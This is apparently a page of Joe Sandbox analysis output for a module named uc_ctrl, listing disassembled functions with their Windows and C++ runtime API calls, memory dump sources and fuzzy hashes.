                                                                                              • API String ID: 2465815921-0
                                                                                              • Opcode ID: ac9f04554ee3e85f461f59632629139d4d27d44eccbd66a8770fdc3887ed8e9c
                                                                                              • Instruction ID: 2286c489ef3ec2890982f57cf99612c0bcd01cc6b10d9b722128450598ff44f5
                                                                                              • Opcode Fuzzy Hash: ac9f04554ee3e85f461f59632629139d4d27d44eccbd66a8770fdc3887ed8e9c
                                                                                              • Instruction Fuzzy Hash: ED11D3357016018FE714DF55C9B0BEABBA2AFA0E18F24C41CE8159BB50DB70FD15A750
                                                                                              Function 6CF01BF0 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF01BF7
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6CF01C27
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6CF01C79
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3U?$char_traits@_W@std@@@std@@$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_G@std@@@std@@Ipfx@?$basic_istream@U?$char_traits@
                                                                                              • String ID:
                                                                                              • API String ID: 2409971386-0
                                                                                              • Opcode ID: 221c2c9c3c534d50ce1795cefd0e9cf2ca1233c5a1f9b66fe8696f510c80cd71
                                                                                              • Instruction ID: 7341dddd8e70a3bde1bcec55943bc1972b5943f5d5376d5b19ef87fdb9d3caf3
                                                                                              • Opcode Fuzzy Hash: 221c2c9c3c534d50ce1795cefd0e9cf2ca1233c5a1f9b66fe8696f510c80cd71
                                                                                              • Instruction Fuzzy Hash: 6A11BE31701A458FEB069F54C9B0FEA73B3AF80E1CF24C02C9815ABB40DB60ED49A740
                                                                                              Function 6CFA6880 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,00000000,00000005,?,?,00000000,00000000,?,6CFA5720,?,?,?,?,?), ref: 6CFA68A2
                                                                                              • LoadResource.KERNEL32(?,00000000,?,?,00000000,00000000,?,6CFA5720,?,?,?,?,?), ref: 6CFA68B7
                                                                                              • LockResource.KERNEL32(00000000,?,?,00000000,00000000,?,6CFA5720,?,?,?,?,?), ref: 6CFA68C9
                                                                                              • GlobalFree.KERNEL32(?), ref: 6CFA6908
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeGlobalLoadLock
                                                                                              • String ID:
                                                                                              • API String ID: 3898064442-0
                                                                                              • Opcode ID: 891ead9b7c4f15b6229929cf2bf98adacd40adc56796d059c4a2677e0b5e60c1
                                                                                              • Instruction ID: c4a08ee2390334bcbf31abbd1fb8859ff1d5bacddd1870fa83557faaf5429e37
                                                                                              • Opcode Fuzzy Hash: 891ead9b7c4f15b6229929cf2bf98adacd40adc56796d059c4a2677e0b5e60c1
                                                                                              • Instruction Fuzzy Hash: D9117235100601DFDB15DB9AC484BAAF7F9EF89229F25806DF856D3B10DF71D80A9B11
                                                                                              Function 6CFAB6D3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 6CFAB701
                                                                                              • GetDC.USER32(00000000), ref: 6CFAB729
                                                                                              • EnumFontFamiliesExW.GDI32(00000000,?,6CFAB6BD,?,00000000,?,?,?,?,?,?,00000000), ref: 6CFAB744
                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 6CFAB74C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: EnumFamiliesFontRelease_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 3785621066-0
                                                                                              • Opcode ID: fe4bda87effa2d7324df164749fa92896d68e8c067fe9970f88cba45d77a0c3f
                                                                                              • Instruction ID: c39b7b1cc6a8862f46b420b3a9552f68a33dae9341c0cf935f23a95c891fe786
                                                                                              • Opcode Fuzzy Hash: fe4bda87effa2d7324df164749fa92896d68e8c067fe9970f88cba45d77a0c3f
                                                                                              • Instruction Fuzzy Hash: E7115171D0221CABDB11DBA4DD48EAFBBBCEF89714F11045AED05EB200E7749A05C792
                                                                                              Function 6CFA8DEE Relevance: 6.1, APIs: 4, Instructions: 62windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF9D5A5: GetDlgItem.USER32(?,?), ref: 6CF9D5B6
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 6CFA8E0C
                                                                                              • GetWindowTextLengthW.USER32(?), ref: 6CFA8E39
                                                                                              • GetWindowTextW.USER32(?,00000000,00000100), ref: 6CFA8E69
                                                                                              • SendMessageW.USER32(?,0000014D,000000FF,?), ref: 6CFA8E89
                                                                                                • Part of subcall function 6CF92163: _wcslen.LIBCMT ref: 6CF92188
                                                                                                • Part of subcall function 6CF92163: GetWindowTextW.USER32(?,?,00000100), ref: 6CF921B9
                                                                                                • Part of subcall function 6CF92163: lstrcmpW.KERNEL32(?,?), ref: 6CF921CB
                                                                                                • Part of subcall function 6CF92163: SetWindowTextW.USER32(?,?), ref: 6CF921D7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Text$ItemLengthLongMessageSend_wcslenlstrcmp
                                                                                              • String ID:
                                                                                              • API String ID: 3501298611-0
                                                                                              • Opcode ID: a2a59805a287a90dcca10b834ba90cb1a8da946c50ee0d1523b4e4a6f763c21e
                                                                                              • Instruction ID: 286be818e6aa782e56474584da1b5f3d15fa5cb462468a0fb5ae730137236fa8
                                                                                              • Opcode Fuzzy Hash: a2a59805a287a90dcca10b834ba90cb1a8da946c50ee0d1523b4e4a6f763c21e
                                                                                              • Instruction Fuzzy Hash: A411AC31104149EFDF119FE4CC05BEEB775EF09324F20421AF9606A6E0CBB25A15AB41
                                                                                              Function 6CF07880 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF07887
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6CF078AA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6CF07914
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 1215715714-0
                                                                                              • Opcode ID: 58a9096a1854d79d5733f004872d40e7b6761b8c9ab1f787b2f2bc2cb09e0c7e
                                                                                              • Instruction ID: 8e25f1a4a167502da2ce7c2504d9f64558d5ee98d20cc7cb854cdeb99cb6af49
                                                                                              • Opcode Fuzzy Hash: 58a9096a1854d79d5733f004872d40e7b6761b8c9ab1f787b2f2bc2cb09e0c7e
                                                                                              • Instruction Fuzzy Hash: 54215831B002149FCB00DFA8D8E0F9DB7B5AF08728F248599E516AB792CB70E918CB50
                                                                                              Function 6CF01850 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF01857
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6CF0187A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6CF018E4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 1215715714-0
                                                                                              • Opcode ID: 42bbf8aa341a6047abbff13cc9859287e1d134db0052570ee11c8898a1d9e9ba
                                                                                              • Instruction ID: 5863ac19954ce74cb788d531efe9ad9d7df99d504784d2af5479e9e28d6f6bd5
                                                                                              • Opcode Fuzzy Hash: 42bbf8aa341a6047abbff13cc9859287e1d134db0052570ee11c8898a1d9e9ba
                                                                                              • Instruction Fuzzy Hash: F5214431B002148BCB00EFA8D8E5B9DB7B5AF08718F248159E516AB792CB70EA09CB40
                                                                                              Function 6CF04AA0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF04AA7
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6CF04ACA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6CF04B34
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 1215715714-0
                                                                                              • Opcode ID: cb9469f28c4194d6ed6d33c804eb0099b57872777577d5e1c4ebf53d3e14a8d2
                                                                                              • Instruction ID: c69f176d34bdb96940f55d9a423aa3509a958b181397cb75d03835284da7dc4d
                                                                                              • Opcode Fuzzy Hash: cb9469f28c4194d6ed6d33c804eb0099b57872777577d5e1c4ebf53d3e14a8d2
                                                                                              • Instruction Fuzzy Hash: 0D213631B002149FCB04EFA8D8E5F9DB7B5AF08718F24865DE516AB792CB70A949CB50
                                                                                              Function 6CF03C80 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF03C87
                                                                                              • ??0?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE@PAV?$basic_streambuf@_WU?$char_traits@_W@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6CF03CC9
                                                                                              • ?init@?$basic_ios@_WU?$char_traits@_W@std@@@std@@IAEXPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6CF03D14
                                                                                              • ?swap@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6CF03D32
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$W@std@@@std@@$V?$basic_streambuf@_$??0?$basic_istream@_?init@?$basic_ios@_?swap@?$basic_ios@_H_prolog3V12@@W@std@@@1@_W@std@@@2@_
                                                                                              • String ID:
                                                                                              • API String ID: 1890573189-0
                                                                                              • Opcode ID: 632ebd5a476796f5f25b9a31858bf885e4f2efaf8a0bcafe467cfb5916bd40ae
                                                                                              • Instruction ID: cb7dc1f0a7d931f60e3037044f2971c42ad73c0c5d8068395e9b6161522d4491
                                                                                              • Opcode Fuzzy Hash: 632ebd5a476796f5f25b9a31858bf885e4f2efaf8a0bcafe467cfb5916bd40ae
                                                                                              • Instruction Fuzzy Hash: 492112B4601206CFCB04CF18C592A69BBF5BF48308B69859DE4188BB11D731EA56CF80
                                                                                              Function 6CF06810 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF06817
                                                                                              • ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6CF06859
                                                                                              • ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6CF068A4
                                                                                              • ?swap@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6CF068C2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@$D@std@@@std@@$V?$basic_streambuf@$??0?$basic_istream@?init@?$basic_ios@?swap@?$basic_ios@D@std@@@1@_D@std@@@2@_H_prolog3V12@@
                                                                                              • String ID:
                                                                                              • API String ID: 1953463137-0
                                                                                              • Opcode ID: 2b631f5773cadd554af860022a8e3454ed29fe4f163ba56e4e9985b1b95a1096
                                                                                              • Instruction ID: 72c5377f0b3be29d59d1eb9fd79e955324ac258c18b26ab9a8aefdf941cd505a
                                                                                              • Opcode Fuzzy Hash: 2b631f5773cadd554af860022a8e3454ed29fe4f163ba56e4e9985b1b95a1096
                                                                                              • Instruction Fuzzy Hash: 162120B4600206DFCB00CF59C495A69FBF5FF88308B6585ADE5188BB21D771EA52CF80
                                                                                              Function 6CFA45F1 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,00000000,00000005), ref: 6CFA4623
                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 6CFA462B
                                                                                              • LockResource.KERNEL32(?), ref: 6CFA4639
                                                                                              • FreeResource.KERNEL32(?), ref: 6CFA4689
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeLoadLock
                                                                                              • String ID:
                                                                                              • API String ID: 1078018258-0
                                                                                              • Opcode ID: 66df280100bcab7670622a48052fee43d631cb0276dac342165a436b8cdff610
                                                                                              • Instruction ID: 6d8a8acc22dfb24bea86442d69ded0286b408e5f4dfd3192afcb894046e01518
                                                                                              • Opcode Fuzzy Hash: 66df280100bcab7670622a48052fee43d631cb0276dac342165a436b8cdff610
                                                                                              • Instruction Fuzzy Hash: 95110631501522EBDB048F95C944BA6FBB8FF09769F218175EC05C7B60EF709551D7A0
                                                                                              Function 6CF09F10 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetLastError.KERNEL32(0000000D,?,?,?,?,6CEFDD23,?,?,?,00000000), ref: 6CF09F94
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 1452528299-0
                                                                                              • Opcode ID: 65e198eeebcd45cda5507b090e875c999da2540d4674ba9136d85c337fb177df
                                                                                              • Instruction ID: 414e358435ed1321755341792e6f027d5bbb2621dccc82648f079d8a514cf2ac
                                                                                              • Opcode Fuzzy Hash: 65e198eeebcd45cda5507b090e875c999da2540d4674ba9136d85c337fb177df
                                                                                              • Instruction Fuzzy Hash: 8A11E536308225AFDF125FA58C5069FB77ABF49B16F008038F91996600EB71D954ABE1
                                                                                              Function 6CF98D08 Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetObjectW.GDI32(?,0000000C,?), ref: 6CF98D53
                                                                                              • SetBkColor.GDI32(?,?), ref: 6CF98D5D
                                                                                              • GetSysColor.USER32(00000008), ref: 6CF98D6D
                                                                                              • SetTextColor.GDI32(?,?), ref: 6CF98D75
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Color$ObjectText
                                                                                              • String ID:
                                                                                              • API String ID: 829078354-0
                                                                                              • Opcode ID: 12b135f1b0073bdcb443777d28b6498d6abf6224ee2bd950e95f0b2ffe677e22
                                                                                              • Instruction ID: cd1641d39f78c42f3888add9a13a54bdd260b3f68e8aed177c2c30901bc2e4fc
                                                                                              • Opcode Fuzzy Hash: 12b135f1b0073bdcb443777d28b6498d6abf6224ee2bd950e95f0b2ffe677e22
                                                                                              • Instruction Fuzzy Hash: 7F114031602108ABAF05DF789D44BAF77B8EF5A624F64061BFD21D7790DB30D90187A2
                                                                                              Function 6CF8D417 Relevance: 6.1, APIs: 4, Instructions: 57registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RegSetValueExW.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,00000000), ref: 6CF8D452
                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 6CF8D45B
                                                                                              • swprintf.LIBCMT ref: 6CF8D478
                                                                                              • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 6CF8D489
                                                                                                • Part of subcall function 6CF8D1A2: RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,6CF8CE9B,?,00000000,00000018), ref: 6CF8D1E7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
